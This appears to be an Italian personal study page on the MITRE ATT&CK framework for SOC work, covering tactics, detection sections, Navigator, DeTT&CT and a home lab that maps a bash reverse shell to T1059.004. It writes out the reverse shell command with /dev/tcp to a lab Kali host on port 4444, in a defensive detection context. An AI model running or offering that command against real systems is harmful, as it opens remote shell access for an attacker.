Skip to main content
  1. Concetti/

MITRE ATT&CK Framework

·5 mins
Alessio Barnini
Author
Alessio Barnini
Table of Contents

Cosa fa
#

Fornisce un linguaggio comune e una matrice strutturata per descrivere le azioni degli attaccanti. Invece di concentrarsi su indicatori statici (IP, hash), si concentra sui comportamenti (TTP) — molto piu' difficili da cambiare per un attaccante.

Acronimo: ATT&CKAdversarial Tactics, Techniques, and Common Knowledge.


Struttura del framework
#

Gerarchia
#

Tattica (perche')
  └── Tecnica (come)  →  T1059 Command and Scripting Interpreter
        └── Sub-tecnica (variante specifica)  →  T1059.004 Unix Shell

Tattiche — le 14 fasi della kill chain
#

#TatticaDomandaEsempio
1ReconnaissanceCosa sa di me prima di attaccare?Scanning, OSINT
2Resource DevelopmentCosa prepara prima di attaccare?Dominio C2, server staging
3Initial AccessCome entra nella rete?Phishing, exploit app web
4ExecutionCome esegue codice sul sistema?T1059 bash, PowerShell
5PersistenceCome rimane anche dopo reboot?Cron job, servizio di sistema
6Privilege EscalationCome ottiene piu' permessi?Sudo exploit, SUID abuse
7Defense EvasionCome evita il rilevamento?Disabilita log, offuscamento
8Credential AccessCome ruba credenziali?/etc/shadow, keylogger
9DiscoveryCosa c'e' nell'ambiente?whoami, net user, ip a
10Lateral MovementCome si sposta ad altri host?SSH con chiavi rubate
11CollectionCosa raccoglie per esfiltrazione?Archivi, database, mail
12Command and ControlCome comunica col suo server?Reverse shell su porta 4444
13ExfiltrationCome porta fuori i dati?Upload su server esterno
14ImpactQual e' il danno finale?Ransomware, cancellazione dati

Tecniche e sub-tecniche
#

Le sub-tecniche sono varianti della stessa tecnica — non si usano tutte insieme. Se l'attaccante ha usato una reverse shell bash: T1059.004 (Unix Shell), non T1059.001 (PowerShell). Mappi la sub-tecnica che corrisponde a quello che hai osservato.


Come usare attack.mitre.org
#

Flusso operativo SOC
#

1. Osservi comportamento anomalo
2. Vai su attack.mitre.org → cerchi la tecnica
3. Leggi la sezione "Detection"
   → ti dice cosa cercare nei log
4. Controlli se hai quei Data Sources
   → se si: configuri la regola SIEM
   → se no: hai un gap di visibilita'

La sezione Detection
#

Ogni tecnica ha una sezione Detection che descrive:

  • Comportamenti da monitorare (es: shell con /dev/tcp negli argomenti)
  • Data Sources — i tipi di log necessari per rilevare quella tecnica

Esempio T1059.004 — Unix Shell (il nostro lab):

Monitora l'esecuzione di bash/sh/zsh con argomenti anomali. Cerca processi shell che aprono connessioni di rete, specialmente con /dev/tcp nei parametri.

Data Sources richiesti:

  • Command Execution → auditd syscall execve, EDR
  • Process Creation → auditd, Sysmon (Linux), EDR

Nel nostro lab: il comando bash -i >& /dev/tcp/192.168.64.200/4444 0>&1 sarebbe stato visibile in auditd se configurato. Senza auditd abbiamo dovuto fare live forensics con ss -tp e ps aux.

Cercare per industria/settore
#

attack.mitre.org → sezione Groups: puoi cercare per settore ("healthcare", "finance") per trovare i gruppi APT che attaccano la tua industria e le tecniche che usano.


Navigator#

URL: https://mitre-attack.github.io/attack-navigator/

Strumento di visualizzazione della matrice ATT&CK. Usi:

  • Colorare le tecniche che hai osservato in un incidente (mappa della kill chain)
  • Mostrare la copertura difensiva (verde = rilevo, rosso = cieco)
  • DeTT&CT puo' esportare la copertura direttamente nel Navigator

Non e' per consultazione quotidiana — e' per analisi e reporting.


DeTT&CT
#

URL: https://rabobank-cdc.github.io/dettect-editor/#/home

Risponde alla domanda: ho i log giusti per rilevare questa tecnica?

Funziona con file YAML che descrivono i tuoi data sources. Per ogni tecnica ATT&CK calcola un punteggio di visibilita':

  • Verde — hai i log per rilevarla
  • Rosso — sei cieco

Esempio con il nostro Ubuntu server:

# data sources disponibili
- auditd: non configurato per execve
- syslog: si
- auth.log: si

Risultato: T1059.004 = rosso — manca auditd. Spiega perche' nel lab non abbiamo ricevuto alert automatici.


Top tecniche piu' osservate (CTID)
#

Fonte: https://ctid.mitre.org/projects/top-attack-techniques/

IDTecnicaNote
T1059Command and Scripting InterpreterCross-platform — il nostro lab
T1047Windows Management InstrumentationWindows
T1053Scheduled Task/JobPersistence comune
T1574Hijack Execution FlowDLL hijacking, prevalentemente Windows
T1543Create or Modify System ProcessPersistence
T1562Impair DefensesAttaccante disabilita log/AV
T1055Process InjectionEvasion avanzata
T1036MasqueradingEvasion — processo che si camuffa
T1021Remote ServicesLateral movement (SSH, RDP)
T1003OS Credential DumpingMimikatz, /etc/shadow

La maggior parte e' Windows-heavy. Per ambienti Linux: T1059, T1021, T1562, T1053 sono le priorita'.


I data source piu' importanti (DeTT&CT stats)
#

Count tecniche coperteData SourceEsempi concreti
255Command Executionauditd execve, Sysmon, EDR
206Process Creationauditd, Sysmon, EDR
98File Modificationauditd, file integrity (tripwire)
82Network Traffic FlowNetFlow, firewall, Zeek
58Network Connection CreationNetFlow, firewall

Configurare auditd per Command Execution e Process Creation copre la maggioranza delle tecniche rilevabili con i log.


Pyramid of Pain
#

ATT&CK opera al livello piu' alto della Pyramid of Pain: i TTP.

TTP (comportamenti)          ← ATT&CK — difficilissimi da cambiare
Tools (strumenti usati)
Network/Host Artifacts
Domain Names
IP Addresses
Hash Values                  ← facili da cambiare per l'attaccante

Rilevare un comportamento obbliga l'attaccante a riprogettare il suo approccio — molto piu' costoso che cambiare un IP o un hash.


Scenario Reale
#

Lab reverse shell (Ubuntu → Kali):

  1. Osservato: processo bash con /dev/tcp/192.168.64.200/4444 attivo, TTY ?, connessione ESTABLISHED in ss -tp
  2. Mappatura ATT&CK:
    • Tattica: Command and Control (T1071) + Execution (T1059)
    • Tecnica: T1059.004 — Unix Shell
  3. Detection section dice: monitora bash con argomenti /dev/tcp
  4. Data source richiesto: Command Execution (auditd execve)
  5. Gap identificato: auditd non configurato → lab giovedi' chiude questo gap con regola Wazuh

Collegato a
#

Related